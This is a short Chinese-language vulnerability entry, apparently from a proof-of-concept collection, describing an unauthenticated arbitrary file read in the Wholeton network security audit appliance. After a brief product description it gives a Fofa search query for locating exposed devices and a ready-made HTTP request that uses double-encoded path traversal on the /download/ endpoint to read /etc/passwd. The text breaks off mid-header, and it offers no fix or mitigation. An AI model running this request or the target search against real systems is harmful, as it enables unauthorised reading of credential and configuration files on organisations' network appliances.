简介
惠尔顿网络安全审计系统(上网行为)是一款专业的软硬一体的上网行为管理产品,广泛应用于政府、金融、能源、教育、运营商大型企业等领域,通过用户管理、应用控制、网页过滤、内容审计、流量管理和行为分析等功能,帮助客户实现上网行为可视化、减少安全风险,减少信息泄密、遵从法律法规、提升工作效率、优化带宽资源。
漏洞描述
惠尔顿网络安全审计系统存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
影响版本
惠尔顿网络安全审计系统
Fofa:
app="惠尔顿-网络安全审计系统"
漏洞复现
GET /download/..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
Host:
User-Agent: Mozill